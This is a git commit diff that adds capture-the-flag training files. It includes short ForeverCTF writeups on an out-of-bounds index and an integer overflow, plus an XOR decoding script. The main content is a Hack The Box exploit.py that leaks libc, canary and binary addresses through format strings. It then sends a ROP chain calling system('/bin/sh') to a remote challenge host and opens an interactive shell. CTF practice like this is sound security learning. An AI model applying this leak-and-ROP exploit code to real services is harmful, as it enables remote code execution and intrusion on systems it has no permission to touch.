changed repo structure

training/ForeverCTF/simple_checker/guesses.txt

@@ -0,0 +1 @@
+flag = utflag{simple}

training/ForeverCTF/tricky_indices/flag.txt

@@ -0,0 +1 @@
+bullshit_flag

training/ForeverCTF/tricky_indices/writeup.md

@@ -0,0 +1,5 @@
+# Tricky Indices
+
+To exploit this binary enter -112 as the first index and -12 as the second index.
+This dumps the flag because no bounds were checked and the flag is located below
+the flag in memory

training/ForeverCTF/uint64_t/.gdb_history

@@ -0,0 +1 @@
+q

training/ForeverCTF/uint64_t/writeup.md

@@ -0,0 +1,11 @@
+# uint64_t challange
+
+Observations:
+Current balance is stored as a uint64_t
+There is no check if you have enough money to buy a doge.
+
+Exploit Path:
+1. Buy dodges until u get uint64_MAX ammount of money.
+2. Buy the win
+3. get the flag with `cat /flag.txt`
+

training/ForeverCTF/xor/decrypt_binary.py

@@ -0,0 +1,9 @@
+import sys
+
+binary = bytearray(open(sys.argv[1], 'rb').read())
+size = len(binary)
+
+for i in range (size):
+    binary[i] = binary[i] ^ 0x41
+
+open(sys.argv[2], 'wb').write(binary)

training/htb/.gitignore

@@ -0,0 +1 @@
+*.ovpn

training/htb/challenges/pwn/what_does_the_f_say/exploit.py

@@ -0,0 +1,62 @@
+from pwn import *
+
+def pop_rdi(binary_base, value):
+    payload = p64(binary_base + 0x18bb)
+    payload += p64(value)
+    return payload
+
+def scan_money(p, start):
+    log.debug(p.clean().decode())
+    p.sendline(b"1")
+    log.debug("Sending 1")
+    log.debug(p.clean().decode())
+    log.debug("Sending 2")
+    p.sendline(b"2")
+    log.debug(p.clean().decode())
+    payload = "|".join(["%{}$p".format(i) for i in range(start,start+3)])
+    log.debug(f"Sending payload: {payload}")
+    p.sendline(payload.encode())
+    leak = p.clean().split(b"|")
+    log.debug(leak)
+    index_message = leak[2].find(b"\n\n")
+    if b"You have less than 20 space rocks! Are you sure you want to buy it?" in leak[2][index_message:]:
+        p.sendline(b"no.")
+        log.debug(p.clean().decode())
+    leak[2] = leak[2][:leak[2].find(b"\n\n")]
+
+    return leak
+
+
+with remote("167.99.85.216", 31511) as p:
+#with process("./what_does_the_f_say_patched") as p:
+    leaks = []
+    for i in range(8):
+        print(f"\rScanning {i*3}-{i*3+2}", end="")
+        leaks += scan_money(p, i * 3)
+   
+    print(leaks)
+    leaked_libc_addr = int(leaks[3], 16)
+    libc_base = leaked_libc_addr - 0x110191
+    canary = int(leaks[13], 16) 
+    leaked_binary_addr = int(leaks[15], 16)
+    binary_base = leaked_binary_addr - 0x174a
+    print(f"__GI___libc_read: {hex(leaked_libc_addr)}")
+    print(f"libc base: {hex(libc_base)}")
+    print(f"canary: {hex(canary)}")
+    print(f"leaked_binary_addr: {hex(leaked_binary_addr)}")
+    print(f"binary_base: {hex(binary_base)}")
+    p.sendline(b"1")
+    p.clean()
+    p.sendline(b"2")
+    p.clean()
+    p.sendline(b"1")
+    print(p.clean())
+    execve_addr = libc_base + 0xe4e90
+    puts_libc_addr = libc_base + 0x080a30
+    bin_sh_string_addr = libc_base + 0x1b40fa
+    system_addr = libc_base + 0x04f4e0
+    payload = b"\x90" * 0x18 + p64(canary) + p64(0xdeadbeefdeadbeef) + pop_rdi(binary_base, bin_sh_string_addr) + p64(binary_base + 0x1016) + p64(system_addr)
+    log.info(payload)
+    log.info(len(payload))
+    p.sendline(payload)
+    p.interactive()

training/htb/challenges/pwn/what_does_the_f_say/libc.so.6

@@ -0,0 +1 @@
+libc6_2.27-3ubuntu1.2_amd64.so

training/htb/labs/.gitignore

@@ -0,0 +1 @@
+sherlock